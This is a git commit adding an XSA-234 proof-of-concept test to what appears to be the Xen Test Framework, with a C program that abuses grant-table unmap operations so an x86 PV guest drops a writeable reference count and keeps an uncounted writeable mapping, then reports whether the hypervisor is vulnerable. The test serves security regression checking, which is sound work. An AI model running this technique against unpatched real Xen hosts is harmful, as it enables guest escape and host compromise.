From: Andrew Cooper Date: Thu, 3 Aug 2017 10:28:33 +0000 (+0100) Subject: XSA-234 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=9d53bd3275bb408881d4382e7eff98c8d4bd9a40;p=people%2Faperard%2Fxtf.git XSA-234 PoC Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index f13f0ad..a585cf8 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -106,6 +106,8 @@ guest breakout. @subpage test-xsa-232 - Missing check for grant table. +@subpage test-xsa-234 - insufficient grant unmapping checks for x86 PV guests. + @section index-utility Utilities diff --git a/include/xen/grant_table.h b/include/xen/grant_table.h index 80bfe08..4c2e3ad 100644 --- a/include/xen/grant_table.h +++ b/include/xen/grant_table.h @@ -277,6 +277,27 @@ struct gnttab_setup_table unsigned long *frame_list; }; +/* + * GNTTABOP_unmap_and_replace: Destroy one or more grant-reference mappings + * tracked by but atomically replace the page table entry with one + * pointing to the machine address under . will be + * redirected to the null entry. + * NOTES: + * 1. The call may fail in an undefined manner if either mapping is not + * tracked by . + * 2. After executing a batch of unmaps, it is guaranteed that no stale + * mappings will remain in the device or host TLBs. + */ +#define GNTTABOP_unmap_and_replace 7 +struct gnttab_unmap_and_replace { + /* IN parameters. */ + uint64_t host_addr; + uint64_t new_addr; + grant_handle_t handle; + /* OUT parameters. */ + int16_t status; /* => enum grant_status */ +}; + /* * GNTTABOP_set_version: Request a particular version of the grant * table shared table structure. This operation may be used to toggle diff --git a/tests/xsa-234/Makefile b/tests/xsa-234/Makefile new file mode 100644 index 0000000..68fb5c2 --- /dev/null +++ b/tests/xsa-234/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-234 +CATEGORY := xsa +TEST-ENVS := pv64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-234/main.c b/tests/xsa-234/main.c new file mode 100644 index 0000000..917455c --- /dev/null +++ b/tests/xsa-234/main.c @@ -0,0 +1,147 @@ +/** + * @file tests/xsa-234/main.c + * @ref test-xsa-234 + * + * @page test-xsa-234 XSA-234 + * + * Advisory: [XSA-234](http://xenbits.xen.org/xsa/advisory-234.html) + * + * Various grant unmapping operations will succeed and drop a writeable + * reference count, even when the mapping was only read-only. This can be + * used to shuffle a writeable mapping out of Xen's reference counting. + * + * @see tests/xsa-234/main.c + */ +#include + +#include +#include + +const char test_title[] = "XSA-234 PoC"; + +static uint8_t frame1[PAGE_SIZE] __page_aligned_bss; +static uint8_t frame2[PAGE_SIZE] __page_aligned_bss; + +void test_main(void) +{ + int rc = xtf_init_grant_table(1); + if ( rc ) + return xtf_error("Error initialising grant table: %d\n", rc); + + int domid = xtf_get_domid(); + if ( domid < 0 ) + return xtf_error("Error getting domid\n"); + + /* Remap frame1 as read-only to drop the writeable reference on it. */ + if ( hypercall_update_va_mapping( + _u(frame1), pte_from_virt(frame1, PF_SYM(AD, P)), UVMF_INVLPG) ) + return xtf_error("Failed to remap frame1 as read-only\n"); + + /* Grant frame1 and 2 to ourselves. */ + gnttab_v1[8].domid = domid; + gnttab_v1[8].frame = virt_to_gfn(frame1); + smp_wmb(); + gnttab_v1[8].flags = GTF_permit_access; + + gnttab_v1[9].domid = domid; + gnttab_v1[9].frame = virt_to_gfn(frame2); + smp_wmb(); + gnttab_v1[9].flags = GTF_permit_access; + + /* Grant map frame1 writeably at 4k... */ + struct gnttab_map_grant_ref map = { + .host_addr = KB(4), + .flags = GNTMAP_host_map, + .ref = 8, + .dom = domid, + }; + + rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1); + if ( rc || map.status ) + return xtf_error("Failed to map grant[8]\n"); + + grant_handle_t f1 = map.handle; + + /* ...and grant map frame2 readably at 8k. */ + map = (struct gnttab_map_grant_ref){ + .host_addr = KB(8), + .flags = GNTMAP_host_map | GNTMAP_readonly, + .ref = 9, + .dom = domid, + }; + + rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1); + if ( rc || map.status ) + return xtf_error("Failed to map grant[9]\n"); + + grant_handle_t f2 = map.handle; + + /* + * Use unmap_and_replace on the mapping of frame2, trying to steal the PTE + * which maps frame1. + */ + struct gnttab_unmap_and_replace ur = { + .host_addr = KB(8), + .new_addr = KB(4), + .handle = f2, + }; + + rc = hypercall_grant_table_op(GNTTABOP_unmap_and_replace, &ur, 1); + if ( rc || ur.status ) + return xtf_error("Failed to unmap and replace grant[9]\n"); + + /* + * The mapping for 4k linear has been zapped, Re-point it at frame1 + * (again, read only so as not to take another type ref) so the vulnerable + * unmap sanity checks succeed. + */ + if ( hypercall_update_va_mapping( + KB(4), pte_from_virt(frame1, PF_SYM(AD, P)), UVMF_INVLPG) ) + return xtf_error("Failed to reset grant[8]\n"); + + /* + * Try to unmap frame1. If Xen is vulnerable, this will succeed without + * error. If Xen is not vulnerable, it should fail with + * GNTST_general_error beacuse of unexpected PTE flags. + */ + struct gnttab_unmap_grant_ref unmap = { + .host_addr = KB(4), + .handle = f1, + }; + + rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1); + if ( rc ) + return xtf_error("Failed to host unmap grant[8]\n"); + + /* + * Irrespective of whether the unmap succeeded, double check the typeref + * by trying to pin frame1 as a pagetable. + */ + mmuext_op_t op = { + .cmd = MMUEXT_PIN_L1_TABLE, + .arg1.mfn = virt_to_mfn(frame1), + }; + + rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF); + switch ( rc ) + { + case 0: + return xtf_failure("Fail: Vulnerable to XSA-234\n"); + + case -EINVAL: + return xtf_success("Success: Not vulnerable to XSA-234\n"); + + default: + return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc); + } +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */